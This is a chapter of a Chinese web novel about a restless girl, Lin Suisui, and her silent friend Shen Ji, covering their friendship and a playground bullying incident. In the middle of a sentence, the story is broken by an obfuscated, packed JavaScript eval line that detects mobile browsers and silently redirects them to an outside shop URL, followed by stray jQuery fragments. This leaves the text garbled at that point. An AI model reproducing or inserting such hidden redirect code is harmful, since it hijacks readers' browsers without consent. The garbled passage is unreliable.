第四章你的古怪我都喜欢
小学一年级的开学第一天，林岁岁背着新书包，穿着一双会发光的新鞋子，雄赳赳气昂昂地走进了校门。
她觉得自己长大了。
上小学了，是大孩子了，不能再像幼儿园那样坐不住了。
这个信念大概支撑了她一个上午。
第一节课，语文老师让大家自我介绍。小朋友们一个个站起来，有的害羞，有的大方，有的说到一半忘了词，有的说完还鞠了一躬。
轮到林岁岁的时候，她“唰”地站起来，椅子差点往后翻倒，发出“哐”的一声巨响。全班同学都看向她，她一点也不怯场，大大方方地说：“我叫林岁岁！森林的林，岁岁平安的岁岁！我最喜欢跑步和吃东西！我的好朋友叫沈寂！她也在我们班！”
说完还朝坐在最后一排角落里的沈寂挥了挥手。
沈寂低着头，假装没看见。
全班都笑了。
语文老师是个戴着眼镜的年轻女老师，姓周，看起来很温柔。她笑着点点头说：“好的，林岁岁同学很热情。那接下来，请下一位同学……”
林岁岁坐下来，屁股在椅子上扭了两下，又扭了两下。她环顾四周，打量着这间新教室。黑板比以前的大，桌椅比以前的高，墙上贴着拼音字母表和乘法口诀表，一切都新鲜极了。
她的目光落在前排一个女生的笔袋上——那是一只好看的粉色独角兽笔袋。
“你这个笔袋在哪里买的呀？”她探过身子去问。
前面的女生回过头来，还没来得及回答，周老师的声音就响了起来：“林岁岁同学，现在是上课时间，不可以随便讲话哦。”
岁岁赶紧坐正，闭上了嘴。
两分钟后，她又开始抠课桌的桌角。
五分钟后，她的腿开始不受控制地抖动。
十分钟后，她已经把课本从头到尾翻了一遍，虽然一个字都没看进去。
她的目光不由自主地飘向教室最后一排靠窗的位置——沈寂坐在那里。
沈寂坐得非常端正，背挺得笔直，双手规规矩矩地放在桌上，眼睛看着黑板。她一动不动，像一尊小小的雕塑。
岁岁看着她，自己那颗浮躁的心好像也安定了一点点。
她深吸一口气，努力让自己坐好。
坚持了大概三分钟。
然后她开始在本子上画小人。
下课铃响的时候，岁岁是第一个冲出座位的。她像一阵风一样刮到沈寂桌前，双手撑在她的桌面上，兴奋地说：“沈寂沈寂！我们去操场玩吧！操场好大！还有一个好大的滑梯！”
沈寂正在整理自己的文具盒。她把铅笔一根一根地摆好，橡皮放在固定的位置，尺子放在橡皮的右边。每一件物品都有它固定的位置，顺序不能乱。
岁岁早就习惯了这套流程。她没有催，就站在旁边等着，嘴里继续絮絮叨叨：“我觉得这个学校好大！比幼儿园大多了！我刚才看到食堂了，好大好大！我还看到有一个小卖部！你说小卖部有没有卖辣条的？我妈妈不让我吃辣条，但是我想尝尝……”
沈寂终于整理完毕，抬起头来。
她看着岁岁，没有说话，但也没有拒绝的意思。
岁岁自动把这理解为“同意”，伸手就去拉沈寂的手——拉到一半，忽然想起来什么，又缩了回去。
她记得的。沈寂不喜欢被碰。
“走吧走吧！”她改成了在前面带路，一边走一边回头看沈寂有没有跟上，“我跟你说，我刚才发现了一个秘密基地！在教学楼后面，有一棵好大的树！树下有阴凉，我们可以……”
她的声音越来越远，像一串清脆的风铃，飘荡在走廊里。
沈寂慢慢地站起身，跟在那个跳跃的小身影后面，保持着大约三步的距离。
不远不近。
刚刚好。
小学的日子就这样一天天过去。
岁岁和沈寂，成了班上最奇怪的一对组合。
一个是停不下来的小马达。上课坐不住，下课满操场跑，作业写得龙飞凤舞，考试粗心大意错一堆。老师提起她就头疼，说她要是能把到处乱跑的精力分一半到学习上，绝对是班里的尖子生。
一个是沉默寡言的小影子。上课认真听讲，作业工工整整，从不主动发言，也从不妨碍课堂纪律。老师几乎感觉不到她的存在，只有在批改她那近乎完美的作业时才会想起——哦，班里还有这么一个孩子。
这两个人，怎么看都不是一路人。
但她们就是黏在一起。
课间的时候，岁岁会在操场上疯跑，和一群男生比赛跑步，爬攀爬架，在单杠上翻来翻去。而沈寂通常会坐在操场边的台阶上，或者站在树荫底下，安静地看着。
岁岁每次跑完一圈，都会朝沈寂的方向挥挥手，喊一声：“沈寂！你看我！”
沈寂从来不回应，但她的目光始终追随着那个奔跑的身影。
午饭的时候，岁岁会端着餐盘坐到沈寂对面。她吃饭从来不安生，吃两口就要说会儿话，说两句又要站起来去添汤，添完汤回来又要跟隔壁桌的同学聊几句。一顿饭吃下来，她能绕餐厅走好几圈。
沈寂则安安静静地坐在那里，一口一口地吃自己的饭。她咀嚼的速度很慢，每一口都要嚼很多下才咽下去。
岁岁有时候会忽然停下来，看着沈寂吃饭的样子，然后莫名其妙地觉得——自己好像也没那么着急了。
她会重新坐下来，学着沈寂的样子，慢慢地嚼几口饭。
虽然坚持不了多久，但那几分钟的安静，对她来说已经是巨大的进步。
有一次，班主任实在忍不住好奇，私下问岁岁：“林岁岁，你和沈寂是怎么玩到一起的？你们俩性格差那么多。”
岁岁歪着头想了想，非常认真地回答：“因为沈寂不会嫌我吵。”
班主任愣了一下。
岁岁继续说：“所有人都嫌我吵，嫌我坐不住，嫌我话多。老师嫌我，爸爸妈妈也嫌我，有时候我自己都嫌我自己。但是沈寂从来不嫌我。”
“她虽然不说话，但是她愿意听我说。我跟她说一百句话，她可能一句都不回我，但我知道她在听。”
“而且——”岁岁的眼睛亮了起来，“她是最好的朋友。她会帮我折纸，会帮我捡掉在地上的橡皮，会把她的牛奶让给我喝。上次我被男生欺负了，她虽然不说话，但是她站到我前面去了！她挡在我前面！”
班主任沉默了。
她当了这么多年老师，见过无数对“好朋友”，但像这样的组合，她还是第一次见到。
一个太过喧闹，一个过于安静。
一个向外索取关注，一个向内封闭自己。
按理说，这样的两个人应该很难产生交集。
但偏偏，她们成了彼此在这个世界上最亲密的人。
也许是因为——那个喧闹的孩子，从来没有试图改变那个安静的孩子。
而那个安静的孩子，也从来没有嫌弃过那个喧闹的孩子。
她们只是用自己的方式，接纳了对方原本的样子。
三年级的某个下午，发生了一件事。
体育课自由活动，岁岁和几个男生在操场上踢球。岁岁虽然是女孩子，但跑得快、体力好，男生们也都愿意带上她。
球传到岁岁脚下，她带着球往前冲，眼看就要射门了——
忽然，旁边一个胖乎乎的男生伸脚绊了她一下。
岁岁失去平衡，整个人往前扑倒，膝盖和手掌重重地蹭在塑胶跑道上，火辣辣地疼。
她还没反应过来，那个男生先笑了：“哈哈哈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892567|212782||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林岁岁摔了个狗啃泥！”
岁岁从地上爬起来，手掌擦破了一大片，沙子嵌在肉里，疼得她龇牙咧嘴。她瞪了那个男生一眼：“你故意绊我！”
“我没有！你自己跑不稳！”男生死不承认。
“你有！”
“我没有！”
两个人你一言我一语地吵了起来。周围的男生开始起哄，有的帮着那个男生说话，有的在旁边看热闹。
岁岁气得眼眶都红了，但她咬着牙没让眼泪掉下来。她知道自己越哭他们越得意。
就在这时候，一个身影默默地走了过来。
沈寂穿过那群起哄的男生，走到岁岁面前。
她没有说话，没有质问任何人，甚至没有看那个男生一眼。她只是从口袋里掏出一包纸巾，抽出一张，递给岁岁。
岁岁愣了一下，接过纸巾。
然后沈寂转过身，面朝着那个男生，静静地站在那里。
她什么也没说，什么也没做。
她只是站着。
但那个男生的笑声忽然就停了。
因为沈寂的眼神太安静了。安静到让人心里发毛。她不愤怒、不激动、不指责，就只是看着他，像一面平静的湖水，映出了他所有的恶劣。
那个男生讪讪地闭上了嘴，转身跑了。其他的男生也觉得没意思，一哄而散。
操场上只剩下岁岁和沈寂两个人。
岁岁低头看着自己血淋淋的手掌，又看看面前那个瘦小的背影，鼻子一酸，眼泪终于掉了下来。
“沈寂……”她哽咽着喊了一声。
沈寂转过身来，看着她哭，没有说安慰的话，也没有抱她。
她只是又抽了一张纸巾，递过去。
岁岁接过纸巾，胡乱擦了擦眼泪和鼻涕，然后抽抽搭搭地说：“他们……他们欺负我……”
沈寂安静地听着。
“我明明没有惹他们……是他自己绊我的……”
沈寂依然安静地听着。
“我好生气……但是我打不过他……”
岁岁说了一大堆，沈寂始终没有回应一个字。
但岁岁说着说着，自己就不哭了。
因为她知道，沈寂在这里。
沈寂没有走。
沈寂站在她这边。
这就够了。
放学后，岁岁的妈妈来接她，看到她手掌上的伤口，心疼得不得了。
“怎么弄的？摔跤了？疼不疼？”
“不疼了，”岁岁摇摇头，然后忽然想起什么似的，骄傲地补了一句，“沈寂帮我了！”
“沈寂怎么帮你的？”
“她站到我前面去了！”岁岁眼睛亮晶晶的，“她什么都没说，就把那些人吓跑了！”
妈妈笑了，摸了摸女儿的头：“那你要好好谢谢人家。”
“我当然要谢！”岁岁认真地说，“我要把我的辣条分给她吃！”
“沈寂不吃辣条。”
“那我就把我最喜欢的贴纸送给她！”
“沈寂好像也不喜欢贴纸。”
岁岁苦恼地皱起了眉头：“那她喜欢什么呢？”
妈妈想了想，笑着说：“她喜欢你呀。”
岁岁愣了一下，然后脸蛋“唰”地红了。
“妈——你说什么呢！”她跺了跺脚，转身跑了，留下一串清脆的笑声。
那天晚上，岁岁在自己的日记本上写了一行字。字迹歪歪扭扭，还有很多拼音代替的生字：
“沈寂是我最好的朋友。她很guai，她不说话，但是她对我最好了。我以后也要对她好。一辈子对她好。”
写完后，她想了想，又在下面加了一句：
“虽然她有很多奇怪的xiguan，但是没关系。因为她的奇怪，我都喜欢。”